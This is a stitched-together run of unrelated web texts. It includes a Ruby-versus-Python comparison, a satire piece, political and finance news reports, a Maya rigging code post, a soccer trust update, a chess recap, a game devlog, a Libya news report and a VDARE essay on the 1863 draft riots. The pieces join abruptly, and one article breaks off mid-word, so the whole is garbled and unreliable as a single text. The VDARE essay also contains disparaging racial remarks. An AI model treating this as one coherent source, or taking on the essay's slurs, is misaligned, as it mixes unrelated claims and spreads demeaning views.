Ruby
In contrast to Python, Ruby focuses on "human-language" programming, and its code reads like a verbal language rather than a machine-based one, which many programmers, both beginners and experts, like. Ruby follows the principle of "least astonishment," and offers myriad ways to do the same thing. These similar methods can have multiple names, which many developers find confusing and frustrating.
Unlike Python, Ruby makes use of "blocks," a first-class object that is treated as a unit within a program. In fact, Ruby takes the concept of OOP (Object-Oriented Programming) to its limit. Everything is an object—even global variables are actually represented within the ObjectSpace object. Classes and modules are themselves objects, and functions and operators are methods of objects. This ability makes Ruby especially powerful, especially when combined with its other primary strength: functional programming and the use of lambdas.
In addition to blocks and functional programming, Ruby provides programmers with many other features, including fragmentation, hashable and unhashable types, and mutable strings.
Ruby's fans find its elegance to be one of its top selling points. At the same time, Ruby's "magical" features and flexibility can make it very hard to track down bugs.
Communities: stability vs. innovation
Although features and coding philosophy are the primary drivers for choosing a given language, the strength of a developer community also plays an important role. Fortunately, both Python and Ruby boast strong communities.
Python
Python's community already includes a large Linux and academic community and therefore offers many academic use cases in both math and science. That support gives the community a stability and diversity that only grows as Python increasingly is used for web development.
Ruby
However, Ruby's community has focused primarily on web development from the get-go. It tends to innovate more quickly than the Python community, but this innovation also causes more things to break. In addition, while it has gotten more diverse, it has yet to reach the level of diversity that Python has.
Final thoughts
For web development, Ruby has Rails and Python has Django. Both are powerful frameworks, so when it comes to web development, you can't go wrong with either language. Your decision will ultimately come down to your level of experience and your philosophical preferences.
If you plan to focus on building web applications, Ruby is popular and flexible. There is a very strong community built upon it and they are always on the bleeding edge of development.
If you are interested in building web applications and would like to learn a language that's used more generally, try Python. You'll get a diverse community and lots of influence and support from the various industries in which it is used.DENVER—Expressing their sympathy for the difficult and humiliating situation he was currently enduring, passengers seated in Terminal B of Denver International Airport told reporters Friday how sorry they felt for a flustered toddler who was traveling with two loud, obnoxious parents. “It must be so awful to have to fly with such irritable, whiny parents who throw a fit over every little thing,” California woman Jessica Henson said as the visibly overwhelmed 2-year-old looked on in mortification as his mother made a scene over the cost of checking additional bags. “If I had to deal with that level of hassle and embarrassment I would just stay home. He must have some real patience to put up with screaming outbursts like that.” At press time, passengers confirmed that the child was able to enjoy a brief respite when his parents calmed down to stare at their iPads after putting on one of their favorite episodes of CSI: Miami.
AdvertisementSean Spicer said that Donald Trump isn’t afraid of anybody, including the media.
The incoming White House press secretary — who previously worked as the communications director for the Republican National Committee — said that “business as usual is over” once Trump takes office.
“I think what I mean by that is that you know, the president-elect looks at this and says what’s best for the country?” Spicer said during an interview with Hugh Hewitt Thursday. “How do we put America and Americans first and stop trying to figure out how we cater to you know, pundits and the establishment class, big donors?”
Hewitt asked Spicer if Trump will maintain the same press conference schedule as previous presidents.
“That’s a good question,” he said, “because I think the thing that you’ve seen with Donald Trump is that he doesn’t look to the past and say ‘I’ve got to conform to these precedents.’ He figures out what’s the best way. And so maybe we do a series of press conferences, but maybe we do some town hall, you know, Facebook town halls. Maybe we go out and solicit input from Twitter. I don’t — the answer is we’re looking at a lot of things.”
Spicer said Trump will use “various outlets to continue the conversation.” (RELATED: Donald Trump: ‘The World Was Gloomy Before I Won’)
“Look, I get it, we’re not going to win a battle whether The New York Times is going to ever give us a fair shake or not,” Spicer continued. “But we recognize that there’s, you know, a few thousand readers or so left that still look at The New York Times, and so it’s worth, probably, talking to them,” Spicer said. We’re going to utilize various outlets to continue the conversation.”
“As you point out, he’s not afraid of anybody.”
“Well, I think the first nine hours are going to be pretty exciting,” he said of Trump’s first day in office.
“It’s going to be day one, week one, first month, first 100 days, but he’s not going to stop.” (RELATED: Don Lemon: If CNN Ignores Trump’s Tweets, He’ll Be Forced To Hold A Press Conference)By Thomas A. DeGise
Here in New Jersey we travel by car, train, bus, bike, foot, motorcycle, light rail, ferry, even skateboard. But even with all these options, getting around isn’t always easy.
Traffic jams are common. So are train delays. At times, the problems can even be deadly.
In the first half of 2014, five bicyclists and 71 pedestrians died on New Jersey’s roads, according to the State Police. That’s in addition to 158 fatalities among motorists and their passengers.
For decades, our streets have been designed mainly with cars in mind. For people who either can’t drive or choose not to, car-friendly streets with inadequate signage, sidewalks and crosswalks aren’t just inconvenient – they can be downright dangerous.
Moreover, poorly designed streets create a cyclical problem: It can be so difficult to get around on foot, bike or bus that people may choose to drive even when they have other options, adding to congestion.
#NJWorstWalk
Where are New Jersey's worst sidewalks? Tell us in the comments, or tweet with #njworstwalk
So how can we ensure everyone – no matter whether they are old, young, handicapped, a driver, a walker or a cyclist – can get to work, shop, or catch the bus on time, and get where they’re going safely?
Local and state governments around the country are increasingly adopting a strategy called “Complete Streets.” Through Complete Streets initiatives, policy makers support streetscape development and improvements that allow for diverse, safe modes of travel, and accommodate people of different abilities and preferences. For example, a “complete street” might include bike lanes, crosswalks, wider sidewalks, more and clearer signs, street lights timed with pedestrians in mind, strategically located parking entrances, or larger bus stops.
Completing our streets doesn’t have to cost a lot of money. Many improvements – such as restriping crosswalks and changing signal timing – can be done quickly and cheaply while making streets much safer and easier to use for all travelers. For larger road and bridge projects, sidewalks and bike lanes often make up just a very small percentage of the cost.
In New Jersey, seven counties and more than a hundred municipalities have adopted Complete Street policies. In addition, the New Jersey Department of Transportation (NJDOT) has adopted a state-wide Complete Streets policy that applies to the planning, design, construction, maintenance and operation of new and reconstructed transportation facilities funded through the NJDOT capital program.
ABOUT THIS PROJECT
This piece is part of a series on how to improve New Jersey quality of life, presented by Together North Jersey in partnership with The Star-Ledger and NJ.com. Together North Jersey, a regional planning initiative, will be talking with readers throughout the summer on a range of quality of life issues affecting the state. Your thoughts will help guide a regional plan that can shape public policy in New Jersey for years to come. Learn more about the project here.
In recent years, for example, Hudson County and several of its municipalities have adopted such policies, and that’s led to some significant changes. For instance, the City of Hoboken made a series of improvements on Hudson Place at Hoboken Terminal. Wider sidewalks, new bike parking, a bike repair area and other improvements all make getting to the station easier and safer.
And just last week, Hudson County opened a new 14th Street Viaduct connecting Hob |
to consider. The easy solution would be for the Aliens to measure distance and related values in exponential form, in which case the problems would become computationally isomorphic to our normal ones. Still, there’s a lot of anthropomorphism in the assumption that they’d have the same “standard problems” as us. We like to consider point sources and things moving at constant speeds because they are simple and intuitive cases, but what’s to say that those would be the `simple’ cases they’d consider?
Regardless, there is clearly a serious contender as an alternative to polynomials that we humans can see. One of the things that really excites me about the possibility of Humanity contacting an Alien species (even if they are at a similar level of technology to us and are too far away for us to ever physically interact) is that it seems very likely that they will have a profoundly and inconceivably different perspective, and by extension abstractions, than us. I want to learn alien mathematics! And, if nothing else, I think that seeing another way of thinking will give us a lot of insight into our own. And on a similar note, I think a lot of the value of thought experiments like this one is the insight they can give us into our selves…
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As part of a Federal Election Commission crackdown on fake presidential candidates (remember Deez Nuts?), officials sent a letter to the Staten Island address where God’s campaign manager apparently lives.
“It has come to the attention of the Federal Election Commission that you may have failed to include the true, correct, or complete committee name, candidate name, custodian of records name, treasurer name,” an FEC analyst wrote in the letter, which was sent Wednesday.
Now God has 30 days to prove He exists, or his campaign for the presidency will be terminated.
The letter was sent as part of the FEC’s effort to sweep fake, parody candidates out of the race. The Center for Public Integrity reported nearly 250 suspected bogus candidates had filed paperwork with the FEC, which also sent warning letters to Satan, Captain Crunch, Rocky Bolboa and Butt Stuff.
The center also reported that the success of Deez Nuts, a candidate created by an Iowa teen who was at one point polling at 9 percent in North Carolina, spawned scores of imitators.
Reached for comment, the FEC told the Center for Public Integrity only that there has been an “increase” in fraudulent candidate filings.Newsmax Finance Insider Larry Kudlow is fed up with the way global central banks have been trying to revive the economy.Nothing they have done has worked. So there’s really only one option left, he told CNBC. “Overthrow the establishment. Now's the time,” said the CNBC senior contributor who also hosts a syndicated radio-talk show. "Overthrow the establishment," urged Kudlow, who was a former economic adviser to President Ronald Reagan.“We need a different model. In other words, zero interest rates, or negative interest rates, and tons and tons of government spending for all these G-7 countries have not worked,” he said.“We have global stagnation, a virtual global recession. And we have virtually no inflation,” he said “Something's got to change here,” he said.He offered his own solution to right the sinking U.S. economic ship.“I recommend an across-the-board slashing of corporate tax rates for large and small businesses in the U.S. I would start right there to reignite growth and then give the Fed a chance to normalize their interest rates," he said."I do not approve of what the Fed or these other central banks are doing. I have never favored it, QE, negative rates even worse. The trick is how to get out of this with minimal damage. Let's cut the corporate tax, that will pick up business investment and it will pick up productivity,” he said."I think one of the candidates, Donald Trump, has a very significant business tax cut for large and small companies. And I favor that. He also is a de-regulator, and I favor that,” he said.Trump and fellow Newsmax Finance Insider Stephen Moore are helping Trump's campaign revamp a controversial tax plan that would've likely added $10 trillion to the deficit, Politico reports. Trump's initial plan was criticized for expanding the deficit, according to the Tax Foundation, by an estimated $10 trillion in the next decade.Meanwhile, Kudlow says Hillary Clinton "has a different world view."Kudlow says Clinton is "talking about raising regulations and more spending. And with respect to taxes, she wants to raise the capital-gains tax, that's bad for productivity in jobs,” he said.“We don't know her views yet on the corporate tax. But she also wants to raise upper income personal taxes. So I think she has the wrong model," he said."Mr. Trump is closer to the truth. It ain't perfect, but it's closer to the truth. Let's think outside the box. We need new pro-growth fiscal policies, taxes and regulations, and then let the central banks follow suit,” he said.He even has a timetable for the next commander-in-chief.“First 30 days, the next president slashes business tax rates right away. The economy reignites, real interest rates go up and the fed follows by raising their target rate and we get out of this mess. And they let their whole bond portfolio runoff. That's how we get out of this business," he said.is a senior contributor at CNBC. To read more of his work, CLICK HERE NOW.With a greater number of potential characters than Mothhead, our previous Unity project; I went into Zombie Playground’s pre-production with my mind already set on creating an automated rigging solution. I took some inspiration from a Modular Rigging course I followed on 3dBuzz and begun to break down my rigging process into object-oriented code in suite I named Automato.
class BaseSubstruct(object): ''' Abstract class to derive new rig modules from ''' NAME = 'abstractobject' NICE_NAME = '' CREATION_PARAM_JSON_ATTRNAME = 'creationParams' DESCRIPTION = 'generic abstract description' MIN_JOINTS = 1 # number of joints needed to create substruct REQUIRES_SKELETON_CHAIN = True # if true, subsruct requires a skeletal chain for creation def __init__(self, basename, joints, parent, mainControl): ''' Builds rig in maya and creates an asset node to contain relevant nodes ''' self.container = None self.layer = None self.containedNodes = list() self._rigControls = dict() self.lockAttrs = list() self.basename = basename # unique name to identify nodes created by this substruct self.parent = parent # parent to attach top-most rig node self.joints = joints # base skeleton joints to attach self.mainControl = mainControl self.mainColorAttr = None if self.parent is None: self.parent = self.joints[0].firstParent2() if self.parent: self.parent = pm.PyNode(self.parent) else: if mainControl: self.parent = mainControl self.verifyParams() self.container = pm.container(name='_'.join([Prefix.CONTAINER, basename, self.NAME])) ## Parameter dictionary for storing settings for assets ## Children classes can further expand this dictionary with parameters of their own self.paramDict = {'classname': self.NAME, 'basename': self.basename, 'joints': [str(i) for i in self.joints], 'parent': str(self.parent),'mainControl': str(self.mainControl), 'container': str(self.container)} pm.addAttr(self.container, dataType='string', ln=self.CREATION_PARAM_JSON_ATTRNAME) pm.addAttr(self.container, at=int, ln='color', min=0, max=31, defaultValue=0, keyable=False, hidden=False) self.mainColorAttr = self.container.attr('color') self.mainColorAttr.showInChannelBox(True) if self.layer is None: self.layer = Layers.getLayer(Layers.ANIMATION_CONTROLS) self.transform = self.install() utils.lockAndHide(self.lockAttrs, True) connectControlColors(self.rigControls, self.mainColorAttr) self.updateSelectionSets() self.layer.addMembers(self._rigControls.values()) self.containedNodes.append(self.transform) self.containedNodes.extend(self._rigControls.values()) self.container.addNode(self.containedNodes) self.containerPublish(self.container) self.saveCreationParams() pm.parent(self.transform, self.mainControl) @property def rigControls(self): return self._rigControls.values() def verifyParams(self): if self.REQUIRES_SKELETON_CHAIN and not checkJointsAreHierarchy(self.joints): raise SkeletonError('The specified joints must be from the same skeletal chain') if len(self.joints) < self.MIN_JOINTS: raise SkeletonError('Only works with {0} joints!!'.format(self.MIN_JOINTS)) def install(self): ''' Main juice function Basic rig framework is created Return the top-most group node for __init__ method to utilize ''' raise NotImplementedError("Derive me please")
This is a small snippet of the base class I designed all the rig components (known as “Substructs” in my code) to derive from. The BaseSubstruct class contains a set of parameters stored as members that most, or all, of my rigging structures (leg, arm, etc.) share. Using a OOP approach to creating the rig makes for a very scaleable solution for our pipeline. As new creatures are designed and implemented; I can plan out the automation right away, simply making a new class with most of the ground work derived from the original base class.
Control Customization
One of the immediate benefits of Automato is the reduction of repetitive, error-prone steps in the rigging process. Once the first pass of Automato was implemented and mostly bug free, I felt a large amount of mental-bandwith suddenly available. I eventually begun to focus on new features that weren’t normally possible in our usual timeframe. One of the features I had the most fun implementing was control customization. All controls generated by my Automato script generate a cluster for manipulating the curve objects’ CVs. The cluster allowed me to expose specific transforms to the animator so they can resize and re-position controls as they see fit even while they’re animating. This ended up giving a lot more power to the animator so they can really tweak the rig to fit their needs and prevented minimize common rig nitpicks that from adding up on my to-do list.
Maya Containers for “encapsulation”
In an effort to better structure the nodes generated for each Substruct, I used this project to experiment with Maya Containers for the first time in an effort to encapsulate the rig. I ended up learning a lot about what containers can and can’t do, as well as some limitations.
The biggest issue I’m currently finding with the use of containers for rigging is the encapsulation makes it difficult to navigate connections within the container. If I choose to graph any node linked to the container, the Hypershade/Hypergraph will give me a graph of the entire container and it’s contents. Without an easy way to arrange the graph of container nodes, I have to manually sort through the container to find the nodes I want to work with. Fortunately, I’m able to perform most rig debugging through code, but I plan to find a replacement for Containers in future implementations of modular rigs.
JSON import/export
In order to make adjustments to joints with minimal downtime in animation, I designed a solution that allowed the finished rig to be saved as a “template”. Because all the rig components exist as Python classes, I found it possible to store all the important creation data into dictionaries and these dictionaries are later dumped into a text file using JSON formatting.
In its current form, it’s not true JSON formatting, as I use multiple root blocks, but it still works for my needs. Saving the rig into text files allows the rig to exist independent of the character skeleton. Not only did this solve my initial desire of being able to adjust joints fairly late into the pipeline, but the JSON functionality evolved into a auto-rig solution. In the case of similar characters, instead of building new rig modules from scratch using Automato, I could load in a JSON file from a completed character and have a new character fully rigged in minutes.
Benefits All Around
Automating the rigs using a modular approach was a big help. With the rigs being paramaterized to the point of living inside json files, updating rigs to fix animation problems or adding features is a matter of changing/adding to the code. With repetitive tasks at a minimum I’m able to focus more time on improving the rigs and tackling new features.
AdvertisementsAn Update on the Starfire Building Project Hello Sounders Community Trust members! At tonight's Annual Business Meeting of the Alliance, Adrian Hanauer discussed something that's near and dear to our membership- the future of Starfire as the Sounders training facility. On behalf of the SCT I briefly discussed our point of view on this.
There is a possibility that they would leave Starfire, even though for now the default option is to remain there for the long term. The Club has asked us to share this statement, which reiterates what Adrian presented at tonight's meeting: "The Sounders have a long term lease at Starfire Sports and remaining at Starfire is our first priority. However, as we consider our long term needs for the First Team, S2, and the Academy, we have put plans to break ground on a new building at Starfire in 2016 on hold. Starfire is our partner in all of this long term planning." The longer story is that when they hired Garth Lagerwey to be the General Manager last fall, one of the things that he did was institute a very complete, comprehensive look at the Club from top to bottom. In the overall structure of global soccer, being able to "grow" and develop your own players from the time they're very young until they're playing for the first team in MLS -- or even seeing supremely talented guys moving on to even more competitive leagues -- is becoming more and more important in MLS. One of the questions that surfaced during the review was "is Starfire going to be everything we need for the Club in the years to come?" Answering that question definitively is pretty important before millions of dollars are invested. If the Club is going to wind up moving to its own facilities in the near- or mid-term future, then obviously the Starfire investment doesn't make as much sense. On the flip side, it might still wind up that Starfire will work out on a long-term basis, in which case the Club will drive on with their facility development plan. In terms of how this impacts the SCT, here are the main points that Adrian and the SCT Board jointly presented: When we started sales of Founders Club memberships, the plan was for a Starfire building- and for Starfire to be the long-term home of the Sounders for both training, and the stadium as the Club's home for S2 (and occasional first-team games).
After the vast majority of SCT-FC sales, the Club hired Garth Lagerwey to take over and run the entire soccer operation.
Part of Garth's review and planning in the early spring of 2015 included a pause on the Starfire process.
The reason for the pause is that the Club has large ambitions to continue to grow into the biggest & best club in North America and indeed, one of the best in the world, and wants to be sure that Starfire is the long-term answer for that.
Still reviewing all of the options, which still include Starfire but might also mean a new training facility owned and operated by the Sounders alone.
The Club has not indicated a firm timeline for making their final decision on this. And immediately after I outlined these points from SCT's perspective: The Club has continued preliminary planning on the Starfire building, and actively engaged the SCT Board for input and feedback on the initial design phases.
The money (roughly a quarter-million dollars) generated from the Founders club memberships is safe; it is being held alone in a segregated account by the Club and is earning a small amount of interest.
The Club has offered to transfer that money to the Sounders Community Trust account, but for now the board are perfectly comfortable with it being held in trust by the Club.
When the Club comes to a final plan for their future, SCT will have to decide on what we want to do with the membership fees. Paths we've discussed include:
The default plan is that Club stays at Starfire, and we stick with the original plan. The odds are strong that this is how it will turn out, but there is a possibility that they might move;
The Club does a smaller project at Starfire, and we stick with the intent of the original plan and donate to that project; or
The Club winds up planning to move at some point, so they don't put any significant funds into Starfire. In that case, SCT will have to decide whether we do something on our own at Starfire, do something with the Club's new home, or do something else entirely. Our plan is to wait and see what the Club decides. Once they come to a decision, we'll refine our options and then go to the membership at large to see what you prefer to do. We'll have more updates on other SCT items in the coming weeks/months. In the meantime we will continue to monitor this issue and will keep engaged in dialogue with the Club about it. As always, we welcome and want your input. You can email me at paul.cox@ SoundersCommunityTrust.org and I'll share it with the rest of the Board.
Eternal Blue; Forever Green,
Paul
Paul Cox
President, Sounders Community TrustIt was Saturday in NYC, the kids are off school, parents don't have work, so everyone came out to watch the world's best fight for the Championship!
Two ideas to carrying us into Game 2
Carlsen punched at Karjakin for four hours in Game 1, and Karjakin didn’t budge. Magnus set social media on fire playing the Trompowsky Attack, an opening never before seen in a World Championship Match. However Karjakin was rock solid at every point in the game despite the novelties being thrown at him. The only real worry anyone had about the game not ending in a draw was because of the name of the player behind the white pieces. Karjakin stayed cool under pressure, and showed he is ready to play for the challenge.
Carlsen’s play was good, not great. A friend of mine showed me an Ulf Andersson vs Sergy Ivanov game from 2000 where Ulf was able to take an almost identical endgame to WCC Game 1, and convert it to a win. In the Post Game 1 Press Conference Karjakin criticised Carlsen’s f4, claiming it locked up the position, making it easier to defend. The Andersson game is a great example of what an open position allows white to do: activate the king, prolong the game, and allow your opponent more opportunities to make mistakes. Even if Carlsen does play f4, a draw is still likely. With that said, it is interesting to see Carlsen - the best endgame player in the world - being criticized by his opponent for his endgame play.
Game 2
Photo Courtesy of Agon
https://lichess.org/study/vENPCM25/csQMrsvl
The chess community breathed a collective sigh of relief when Carlsen played 3...a6 instead of the dreaded 3...Nf6 which would lead into the Berlin. The Berlin Defense is a notoriously boring but extremely solid defense that has dominated past WCCs. It is a favorite among chess players, and the bane of chess spectators. Game 2 was a Ruy Lopez, aka The Spanish (get the title now Mom?). The Ruy Lopez has been in many WCC matches. One of the most well known games is Kasparov vs Karpov 1990.
Karjakin was very conservative in his first game with the white pieces. His 15. h3 which felt a lot like a 'check' in poker, a passing of the turn without much action. Chess Legend Susan Polgar had this tweet about the move:
It was so inspiring and mysterious to observe the players sink deep into thought at occassions you wouldn’t expect. Carlsen took over 10 minutes for his 13...Nc4 leaving the spectators to question: How deep is Carlsen calculating the variations in his head? Why is this position important enough to devote so much time? The answer is: Carlsen doesn’t want to fall into the Karjakin’s opening preparation, so he is taking extra care. It’s beautiful to watch. Think a game like this is boring? Don't tell that to Garry Kasparov!
The queens came off on move 20, and a draw became very likely, and 13 moves later it became a reality. After 2 games the 2016 World Chess Championship is tied up 1-1 after 2 draws.
Player Attitude
The players have not said very much in the 3 press conferences. Who can blame them for wanting to keep their months of preparation close to heart? But I have noticed something after Games One and Two's Press Conferences: Magnus is hungry for battle. After game one, the players were asked what they were going to do to recover from the mental stress of the game. Magnus wondered why recovery would be needed after such a short game (game one only lasted almost 4 hours!).
After game two, the players were asked what they are going to do on their day off. Magnus suggested the schedule was too easy on the players, and they should really be playing tomorrow instead of having a day off, whereas Karjakin said he prefered a day off. Magnus seems eager to spend as much time at the board as possible. Karjakin seems relieved to be stepping away from the board with two draws in his pocket.
Games one and two were appetizers for Carlsen. When will the main course begin? Will it be game 3? We will find out Monday. Have a nice Day off!
About the Author: Tyler Schwartz is a passionate chess ambassador. Tyler is the President of Chess at 3, teaching chess to children all over the world at the suprising age of 3. He is the Head of Media at lichess.org. Tyler also manages a chess club on the upper east side of Manhattan.If you’ve checked our website this week you might have noticed that we updated it with a bunch of new screenshots (all taken ingame by the way and without any retouching). Go check them out!
Sam Gibson, one of our testers, built this nice little park you see on the screenshots. He’s not only great at building good looking parks, but also helped us a ton with finding and reproducing bugs - thanks, Sam! :)
This is the first time we’ve seen a park of this size ourselves - it was really amazing for us to see all the new stuff that’s been accumulating since the last time we’ve taken proper screenshots (~August 2014?) in one single picture.
Having a proper park will also help tremendously with performance testing and optimizing.
The second pre-pre-alpha build has been released early this week, which means we can finally add new stuff to the game again without having to be afraid of breaking anything. Quite a liberating feeling, to be honest :)
The Gravitron from the last art livestream is in the game now. As you can see it’s also finally possible to change the custom colors of flat rides.
Also did some more UI work, so it’s possible to set park and ride entrance fees now.
We added a Pretzel stall:
And a Wild Mouse coaster :)
And we did some initial work on a proper savegame picker:
We seriously had to work with copying savegame files around because there was no way to select which one should be loaded until now. Yep :|Image caption Crowds storm the offices of the Justice and Construction Party in Tripoli
Protesters in Libya have attacked offices linked to the Muslim Brotherhood following the assassination of a prominent political activist.
Abdelsalam al-Mismari was shot dead as he left a mosque in Benghazi in eastern Libya after Friday prayers.
Demonstrators blaming the Brotherhood have taken to the streets.
They stormed offices of the Justice and Construction Party, the Brotherhood's political wing, in Benghazi and the Libyan capital, Tripoli.
A retired air force colonel and a senior police officer were also shot dead on Friday in Benghazi in the latest in a series of targeted killings of security personnel.
Libya's government is struggling to control armed groups nearly two years after Col Muammar Gaddafi was toppled.
Smashed windows
There has been growing opposition to the increasing influence of the Justice and Construction Party (JCP) in the country's parliament.
Mr Mismari, a lawyer, was a vocal critic of the Brotherhood's presence in Libya.
He was one of the earliest organisers of protests that eventually led to the overthrow of Gaddafi in August 2011.
Image caption Protesters ransacked documents from the offices of the JCP
It is unclear who carried out the killing.
Protesters in Tripoli stormed the headquarters of the JCP and as well as those of the secular National Forces Alliance on Saturday, according to reports.
They smashed windows and looted furniture at the offices.
Demonstrators also attacked a building housing the JCP in Benghazi, the centre of the armed uprising in 2011.
"We want all political parties to be dissolved," Agence France-Presse news agency quoted one protester as saying.
"They're the cause of all our problems. First we need a constitution, then laws regulating political life before parties can begin operating."
Benghazi has seen a number of violent incidents since the fall of Gaddafi.
Radical Islamists were blamed for an attack on the US consulate last September in which the US ambassador and three other US citizens were killed.
The BBC's Rana Jawad in Tripoli said Mr Mismari's death represented the first assassination of an activist since the latest violence began.
Our correspondent says it marks a potentially dangerous turning point for the country. Some feel it is an attempt to silence civic groups, she adds.
In separate attacks on Friday, retired air force Col Salem al-Sarah was killed as he emerged from a mosque and police Col Khatab Abdelrahim al-Zwei was shot dead at the wheel of his car, officials said.Dele Alli is a special footballer. In a sea of ordinary players, he is a majestic creature. A rare species that is worth sifting through the massive amounts of mediocrity to find.
English players aren't typically known for their flair. Dele Alli is not your typical player. He is a bundle of energy and skill let onto a football pitch and unleashed on a world oblivious to his amazingness. He's taken that world by storm this Premier League season flashing all of his eye-catching skills and even let slip a few hot-headed outbursts. That's just what you get with him. A young player with no fear or limitations, one that believes he can do anything with a football at his feet and pretty much can.
You might think all of these words for a simple vine of a meaningless flick are too much, but that's the way Dele Alli makes you feel when he's out there playing. He turns the most simple action into a spectacle. This is why we watch this sport. In hopes that through the mundane, a special light shines out. Dele Alli is that light and he's truly a pleasure to watch on a weekly basis.
Now, here's a vine of dope skill from yesterday's match:Well, we have a verdict in the Zimmerman case, and four days after it was delivered there is little sign of the Martin Luther King/Rodney King-style “cities in flames” scenario predicted by some.
Possibly the whole prosecution and trial was a media creation to which not enough ordinary citizens signed up. Possibly improvements in policing and (especially) surveillance discourage 1960s-style urban rioting. Possibly black Americans have, like the rest of us, lost their turbulence in the warm pacifying bath of welfareism and cheap mobile gadgetry.
Whatever the reason, we should give thanks.
Now that the fuss is dying down, the National Question mavens who check in to VDARE.com may want to take a break from present obsessions with race, class, and immigration. Let me therefore take you back on a brief historical trip to a simpler time.
Let us revisit the New York City draft riots, which occurred precisely 150 years ago this week.
What were the riots all about? The Civil War draft, obviously; but also, uh…race, class, and immigration.
Once it was clear, following the 1861 campaigning season, that the Civil War would not be over in mere months, both sides contemplated conscription.
The Confederacy, with a smaller pool of military-age men (about one million to the Union’s four), and facing the expiration of the one-year enlistments that had drawn in so many volunteers after Fort Sumter, passed the first conscription law—the first in North American history—in April 1862.
(There was much grumbling about it. Wasn’t the Confederacy supposed to be championing states’ rights and personal liberty against the heartless machine civilization of the North? The law also inspired a modest spike in desertions.)
The Union, with its greater resources, did not pass a conscription law until a year later. Like the Confederate law, Lincoln’s Enrollment Act of March 1863 allowed for “substitution”—a draftee could pay another man to take his place, thereby exempting himself for the entire term of service. There was also “commutation”—the paying of a $300 flat fee to exempt oneself from a single draft call. (There were four draft calls from 1863-65.)
This opened up a class divide. A New York laborer’s annual wage at the time was $600, so that substitution and commutation were beyond the reach of working men. The catch-phrase “a rich man’s war, a poor man’s fight” became current.
There was a race divide, too. The Enrollment Act applied to “able-bodied male citizens of the United States,” which was taken to mean whites only. New York City had a big black population—around 12,500 in 1860. The working classes already saw blacks as low-wage competition, and the city had strong mercantile connections to the South. The prospect of a flood of emancipated blacks further depressing wages, and a federal blockade of the South disrupting commerce, caused New Yorkers of all classes to have very mixed feelings about the war.
There was, indeed, sentiment in 1861 for New York to leave the Union and become a free city-state. No less a person than Fernando Wood, the city’s mayor, promoted the idea, with the support of his brother Benjamin, editor of the Daily News. But the Independent Republic of New York failed to find favor with the city’s business elites and the idea lapsed.
New York none the less remained a bastion of “Copperhead” sentiment—Northerners with Southern sympathies—well into the war. Abraham Lincoln took New York State in the election of 1860, but the New York City stayed Democrat. There was Abolitionist feeling, but it was limited to a subset of the Anglo-Dutch elite. In fact the worst New York mass disturbances prior to 1863 had been the Anti-Abolitionist Riots of 1834.
And then there was the Irish issue. In 1860 New York an astonishing one resident in four had been born in Ireland.
Both varieties of Irishman, the Protestant Scotch-Irish from Ulster and the Catholic Gaels, had been present in early 19th-century New York. There were at any rate enough of each in 1824 to furnish a nasty brawl when Orangemen paraded through a community of Catholic weavers in Greenwich Village on July 12th that year, prefiguring the Orange Riots of 1870-71.
The great Irish famine of the late 1840s brought far more Catholic Irish immigrants into the city, but the Protestant Scotch-Irish were still a big factor. William “Boss” Tweed, for example, the master politician who ran the city’s mighty Democratic Party machine, was of Scotch-Irish origins.
Irishness played into the Civil War in odd and contradictory ways. Confederates of an English or Welsh Episcopalian or Catholic background tended to see themselves as opposed to the aggressive nonconformist Protestantism of the Yankee North. Thus Confederate President Jefferson Davis, speaking to the state legislators of Mississippi on December 26th, 1862:
There is indeed a difference between the two peoples [i.e. North and South]. Let no man hug the delusion that there can be renewed association between them. Our enemies are a traditionless and homeless race. From the time of Cromwell to the present moment they have been disturbers of the peace of the world. Gathered together by Cromwell from the bogs and fens of the north of Ireland and England, they commenced by disturbing the peace of their own country...They persecuted Catholics in England, and they hung Quakers and witches in America.
Hearing that, and summoning up ancestral memories of Drogheda and Wexford, Catholic Irishmen might easily have been inspired to enlist in the Confederate armies. And some thirty thousand Irishmen actually did so.
Yet there was a Protestant Scotch-Irish strain in Confederate thinking, too: John C. Calhoun, the spiritual father of Southern secession, was so archetypically Scotch-Irish that historian David Hackett Fischer offers him as a model specimen of the breed, with a full-page portrait, in his book about the British founding stocks. There was not much theological daylight between the Calvinist-Presbyterianism of the Scotch-Irish and the Calvinist-Congregationalism of the Yankees.
(It helps to remember here that the Ulster-Protestant migrations to America in the middle 18th century had also been driven by hunger and religious persecution, and that the 1798 United Irishmen uprising, about which Irish-American academic Thomas Flanagan wrote a fine novel, embraced both Catholics and Protestants. Twentieth-century Irish sectarianism does not map precisely on to earlier forms. Few Irishmen of any non-Anglican confession in 1863 America nursed fond feelings for the British Crown.)
In the event, Catholic-Irish New Yorkers volunteered for the Union armies in great numbers after Fort Sumter fell. Most did so from simple loyalty to their new country. Some were influenced by the belief, common at the time, that Britain would come in on the side of the South, whose cotton was necessary (so the belief went) to keep the English mills in business, so that a Union soldier might have the good luck to find himself shooting at Redcoats. Others, including probably Michael Corcoran of the Fighting 69th, wanted to build a cadre of battle-hardened Irishmen for the liberation of the home country.
But by mid-1863, following the Emancipation Proclamation, the bloom was off the rose.
Irish Americans, who had volunteered in great numbers early in the war, became increasingly reluctant to serve in the military. “The government complains that but few Irish, comparatively, volunteer. They have no idea of fighting for the blacks,” Maria Daly recorded in her diary. “The abolitionists, [the Irish] say, tell them that soon they will have good, faithful, colored servants, and that these Irish will then have to go back to their poorhouses. The Irish believe the abolitionists hate both Irish and Catholic and want to kill them off. The abolitionists always, the Irish say, put them in front of the battle.” The Devil’s Own Work, by Barnet Schecter. p.91
That was the background to the Draft Riots of July 13th-17th, 1863.
The riots themselves are astonishing to read about. Barnet Schecter’s book is a good source. There are several historical websites, and the pony-tails and neck-beards of Wikipedia of course have put up some pages.
The first target of the rioters, on the morning of Monday the 13th, was the Provost Marshal’s office at Third Avenue and 47th Street, where the draft lottery was to be held. A mob of working men marched up the West Side from the downtown slums, then across town to the office, committing lesser acts of mayhem along the way. Once arrived, they trashed and burned the place.
The rioting then metastasized, with much random looting of houses and businesses. Favorite targets: anything to do with the Republican Party or Abolition—the offices of the New York Times (then a Republican paper!!!); any federal installation; the State armory; and…blacks.
The police were outnumbered and the Mayor, now a fellow named George Opdyke, cabled Washington, D.C. for federal troops.
One of the most notorious events in the rioting took place around 4 o’clock that afternoon. The Colored Orphans Asylum, on the west side of Fifth Avenue between 43rd and 44th Streets, was a fine modern building, a showcase of philanthropy, housing 233 children in clean and spacious conditions.
Five hundred armed rioters broke in. They plundered and burned the building; only calm thinking by the staff and the help of a squad of firemen (also mostly Irish) saved the orphans.
